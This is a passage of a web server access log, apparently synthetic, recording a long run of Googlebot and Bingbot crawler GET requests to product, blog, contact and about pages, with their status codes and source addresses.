/products/item19 status=200 from=66.249.65.128 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:23 web-app[2345]: GET /contact status=200 from=66.249.91.231 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:23 web-app[2345]: GET /products/item10 status=200 from=66.249.82.144 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:23 web-app[2345]: GET /products/item15 status=200 from=66.249.73.142 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:23 web-app[2345]: GET /products/item16 status=200 from=66.249.91.26 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:24 web-app[2345]: GET /blog/article-1 status=200 from=66.249.78.228 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:24 web-app[2345]: GET /products/item12 status=200 from=66.249.87.75 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:24 web-app[2345]: GET /products/item13 status=200 from=66.249.86.112 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:24 web-app[2345]: GET /products/item16 status=200 from=66.249.94.239 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:24 web-app[2345]: GET /products/item6 status=200 from=66.249.94.178 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:24 web-app[2345]: GET /products/item7 status=200 from=66.249.95.179 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:25 web-app[2345]: GET /contact status=200 from=66.249.64.210 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:25 web-app[2345]: GET /contact status=200 from=66.249.89.204 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:25 web-app[2345]: GET /products/item15 status=200 from=66.249.68.162 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:25 web-app[2345]: GET /products/item17 status=200 from=66.249.87.91 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:25 web-app[2345]: GET /products/item4 status=200 from=66.249.82.120 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:25 web-app[2345]: GET /products/item6 status=200 from=66.249.73.179 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:26 web-app[2345]: GET /blog/article-1 status=200 from=66.249.73.37 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:26 web-app[2345]: GET /blog/article-1 status=301 from=66.249.93.249 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:26 web-app[2345]: GET /contact status=200 from=66.249.91.230 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:26 web-app[2345]: GET /products/item13 status=200 from=66.249.92.205 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:26 web-app[2345]: GET /products/item14 status=200 from=66.249.79.70 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:26 web-app[2345]: GET /products/item17 status=301 from=66.249.90.200 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:26 web-app[2345]: GET /products/item18 status=200 from=66.249.66.130 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:27 web-app[2345]: GET /blog/article-2 status=200 from=66.249.64.244 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:27 web-app[2345]: GET /products/item11 status=200 from=66.249.81.158 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:27 web-app[2345]: GET /products/item13 status=200 from=66.249.68.148 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:27 web-app[2345]: GET /products/item13 status=200 from=66.249.84.61 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:28 web-app[2345]: GET /contact status=200 from=66.249.82.51 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:28 web-app[2345]: GET /products status=200 from=66.249.67.56 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:28 web-app[2345]: GET /products/item10 status=200 from=66.249.78.128 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:28 web-app[2345]: GET /products/item16 status=200 from=66.249.92.69 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:28 web-app[2345]: GET /products/item18 status=200 from=66.249.64.244 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:29 web-app[2345]: GET /products/item17 status=200 from=66.249.67.155 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:29 web-app[2345]: GET /products/item3 status=200 from=66.249.86.28 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:29 web-app[2345]: GET /products/item4 status=301 from=66.249.82.13 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:30 web-app[2345]: GET /about-us status=200 from=66.249.73.142 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:30 web-app[2345]: GET /blog/article-1 status=200 from=66.249.70.252 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:30 web-app[2345]: GET /products status=200 from=66.249.90.152 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:30 web-app[2345]: GET /products/item10 status=200 from=66.249.81.74 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:30 web-app[2345]: GET /products/item17 status=200 from=66.249.93.24 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:30 web-app[2345]: GET /products/item6 status=200 from=66.249.76.2 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:31 web-app[2345]: GET /blog/article-2 status=301 from=66.249.70.70 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:31 web-app[2345]: GET /products/item11 status=200 from=66.249.75.194 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:31 web-app[2345]: GET /products/item2 status=200 from=66.249.92.107 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:32 web-app[2345]: GET /about-us status=200 from=66.249.90.90 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:32 web-app[2345]: GET /blog/article-2 status=200 from=66.249.70.137 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:32 web-app[2345]: GET /products/item17 status=200 from=66.249.76.16 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:32 web-app[2345]: GET /products/item4 status=200 from=66.249.73.160 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:32 web-app[2345]: GET /products/item4 status=200 from=66.249.92.120 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:32 web-app[2345]: GET /products/item5 status=200 from=66.249.93.51 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:33 web-app[2345]: GET / status=200 from=66.249.74.3 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:33 web-app[2345]: GET / status=404 from=66.249.70.63 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:33 web-app[2345]: GET /products status=200 from=66.249.92.147 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:33 web-app[2345]: GET /products/item18 status=200 from=66.249.90.219 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:33 web-app[2345]: GET /products/item19 status=200 from=66.249.89.117 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:33 web-app[2345]: GET /products/item19 status=404 from=66.249.83.161 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:33 web-app[2345]: GET /products/item7 status=200 from=66.249.84.207 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:35 web-app[2345]: GET / status=200 from=66.249.70.58 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:35 web-app[2345]: GET /contact status=200 from=66.249.95.206 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:35 web-app[2345]: GET /products/item2 status=200 from=66.249.78.234 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:35 web-app[2345]: GET /products/item2 status=404 from=66.249.86.149 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:35 web-app[2345]: GET /products/item4 status=200 from=66.249.94.167 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:35 web-app[2345]: GET /products/item7 status=200 from=66.249.86.161 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:36 web-app[2345]: GET /contact status=200 from=66.249.73.170 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:36 web-app[2345]: GET /products/item15 status=200 from=66.249.75.108 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:36 web-app[2345]: GET /products/item15 status=200 from=66.249.77.153 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:36 web-app[2345]: GET /products/item18 status=200 from=66.249.90.95 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:36 web-app[2345]: GET /products/item9 status=200 from=66.249.68.212 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:37 web-app[2345]: GET /products/item11 status=200 from=66.249.69.236 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:37 web-app[2345]: GET /products/item11 status=200 from=66.249.76.139 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:37 web-app[2345]: GET /products/item11 status=200 from=66.249.83.169 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:37 web-app[2345]: GET /products/item6 status=200 from=66.249.76.87 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:38 web-app[2345]: GET /contact status=200 from=66.249.93.214 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:38 web-app[2345]: GET /products/item6 status=200 from=66.249.72.210 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:39 web-app[2345]: GET /about-us status=200 from=66.249.88.253 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:39 web-app[2345]: GET /products/item10 status=200 from=66.249.90.140 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:39 web-app[2345]: GET /products/item12 status=200 from=66.249.69.148 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:39 web-app[2345]: GET /products/item18 status=200 from=66.249.95.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:39 web-app[2345]: GET /products/item9 status=200 from=66.249.69.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:40 web-app[2345]: GET /products status=200 from=66.249.72.64 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:40 web-app[2345]: GET /products status=200 from=66.249.75.65 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:40 web-app[2345]: GET /products/item14 status=200 from=66.249.79.231 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:40 web-app[2345]: GET /products/item18 status=200 from=66.249.79.140 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:41 web-app[2345]: GET /products status=200 from=66.249.89.151 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:42 web-app[2345]: GET /products/item13 status=200 from=66.249.95.115 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:42 web-app[2345]: GET /products/item15 status=200 from=66.249.82.105 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:42 web-app[2345]: GET /products/item2 status=200 from=66.249.86.139 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:42 web-app[2345]: GET /products/item7 status=404 from=66.249.95.120 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:43 web-app[2345]: GET /products status=200 from=66.249.67.239 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:43 web-app[2345]: GET /products/item10 status=200 from=66.249.73.202 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:43 web-app[2345]: GET /products/item13 status=301 from=66.249.87.254 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:44 web-app[2345]: GET /products/item16 status=200 from=66.249.72.164 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:44 web-app[2345]: GET /products/item16 status=200 from=66.249.83.100 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:44 web-app[2345]: GET /products/item19 status=200 from=66.249.95.81 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:44 web-app[2345]: GET /products/item4 status=200 from=66.249.95.166 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:45 web-app[2345]: GET /products/item1 status=200 from=66.249.82.129 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:45 web-app[2345]: GET /products/item16 status=200 from=66.249.86.144 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:45 web-app[2345]: GET /products/item8 status=200 from=66.249.82.113 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:45 web-app[2345]: GET /products/item8 status=200 from=66.249.82.193 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:46 web-app[2345]: GET /products/item10 status=200 from=66.249.77.167 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:46 web-app[2345]: GET /products/item17 status=200 from=66.249.70.67 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:46 web-app[2345]: GET /products/item17 status=200 from=66.249.84.0 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:47 web-app[2345]: GET /products/item16 status=200 from=66.249.92.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:47 web-app[2345]: GET /products/item9 status=200 from=66.249.88.195 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:48 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.255 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:48 web-app[2345]: GET /products/item6 status=200 from=66.249.81.217 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:48 web-app[2345]: GET /products/item7 status=200 from=66.249.83.252 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:49 web-app[2345]: GET /products/item6 status=200 from=66.249.93.63 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:49 web-app[2345]: GET /products/item6 status=301 from=66.249.71.114 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:49 web-app[2345]: GET /products/item9 status=200 from=66.249.73.200 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:50 web-app[2345]: GET /products/item11 status=200 from=66.249.64.120 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:50 web-app[2345]: GET /products/item12 status=200 from=66.249.82.183 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:50 web-app[2345]: GET /products/item9 status=200 from=66.249.69.210 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:51 web-app[2345]: GET /about-us status=200 from=66.249.74.192 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:51 web-app[2345]: GET /blog/article-2 status=404 from=66.249.84.251 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:51 web-app[2345]: GET /products/item15 status=200 from=66.249.66.141 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:51 web-app[2345]: GET /products/item18 status=200 from=66.249.78.97 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:51 web-app[2345]: GET /products/item9 status=200 from=66.249.76.185 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:52 web-app[2345]: GET /blog/article-1 status=200 from=66.249.64.6 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:52 web-app[2345]: GET /products status=200 from=66.249.92.92 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:52 web-app[2345]: GET /products/item4 status=200 from=66.249.79.248 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:53 web-app[2345]: GET /contact status=200 from=66.249.92.97 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:53 web-app[2345]: GET /products/item12 status=200 from=66.249.75.171 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:53 web-app[2345]: GET /products/item9 status=200 from=66.249.72.185 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:54 web-app[2345]: GET /contact status=200 from=66.249.74.57 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:54 web-app[2345]: GET /products/item1 status=200 from=66.249.75.199 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:54 web-app[2345]: GET /products/item15 status=200 from=66.249.83.24 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:54 web-app[2345]: GET /products/item7 status=200 from=66.249.89.27 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:55 web-app[2345]: GET / status=200 from=66.249.73.177 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:55 web-app[2345]: GET /products/item10 status=200 from=66.249.85.141 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:55 web-app[2345]: GET /products/item14 status=200 from=66.249.69.44 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:55 web-app[2345]: GET /products/item14 status=404 from=66.249.75.142 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:55 web-app[2345]: GET /products/item3 status=200 from=66.249.76.44 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:55 web-app[2345]: GET /products/item3 status=200 from=66.249.90.67 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:55 web-app[2345]: GET /products/item9 status=200 from=66.249.76.172 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:56 web-app[2345]: GET /products/item12 status=200 from=66.249.91.15 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:56 web-app[2345]: GET /products/item16 status=200 from=66.249.76.47 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:56 web-app[2345]: GET /products/item19 status=200 from=66.249.82.17 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:56 web-app[2345]: GET /products/item6 status=200 from=66.249.79.85 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:56 web-app[2345]: GET /products/item8 status=200 from=66.249.88.80 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:57 web-app[2345]: GET /products/item10 status=200 from=66.249.77.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:57 web-app[2345]: GET /products/item3 status=200 from=66.249.67.17 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:57 web-app[2345]: GET /products/item4 status=200 from=66.249.95.104 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:57 web-app[2345]: GET /products/item5 status=200 from=66.249.67.164 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:58 web-app[2345]: GET /blog/article-2 status=404 from=66.249.91.28 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:58 web-app[2345]: GET /products status=200 from=66.249.77.42 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:58 web-app[2345]: GET /products/item19 status=200 from=66.249.67.254 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:58 web-app[2345]: GET /products/item2 status=200 from=66.249.88.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:03:59 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.205 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:59 web-app[2345]: GET /products/item10 status=200 from=66.249.74.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:59 web-app[2345]: GET /products/item14 status=200 from=66.249.70.28 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:59 web-app[2345]: GET /products/item16 status=200 from=66.249.67.111 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:03:59 web-app[2345]: GET /products/item7 status=404 from=66.249.70.124 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:00 web-app[2345]: GET / status=200 from=66.249.71.154 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:00 web-app[2345]: GET /products/item10 status=301 from=66.249.92.221 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:00 web-app[2345]: GET /products/item16 status=200 from=66.249.83.72 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:00 web-app[2345]: GET /products/item18 status=200 from=66.249.81.57 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:00 web-app[2345]: GET /products/item18 status=404 from=66.249.64.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:00 web-app[2345]: GET /products/item9 status=200 from=66.249.82.118 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:01 web-app[2345]: GET / status=200 from=66.249.70.196 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:01 web-app[2345]: GET /about-us status=200 from=66.249.65.24 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:01 web-app[2345]: GET /products/item10 status=200 from=66.249.80.118 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:01 web-app[2345]: GET /products/item11 status=200 from=66.249.86.216 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:01 web-app[2345]: GET /products/item13 status=200 from=66.249.93.43 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:02 web-app[2345]: GET / status=200 from=66.249.90.228 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:02 web-app[2345]: GET /contact status=200 from=66.249.78.178 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:02 web-app[2345]: GET /products/item18 status=301 from=66.249.95.131 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:03 web-app[2345]: GET /products/item10 status=200 from=66.249.81.141 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:03 web-app[2345]: GET /products/item3 status=200 from=66.249.90.53 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:04 web-app[2345]: GET /products/item5 status=200 from=66.249.93.217 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:04 web-app[2345]: GET /products/item7 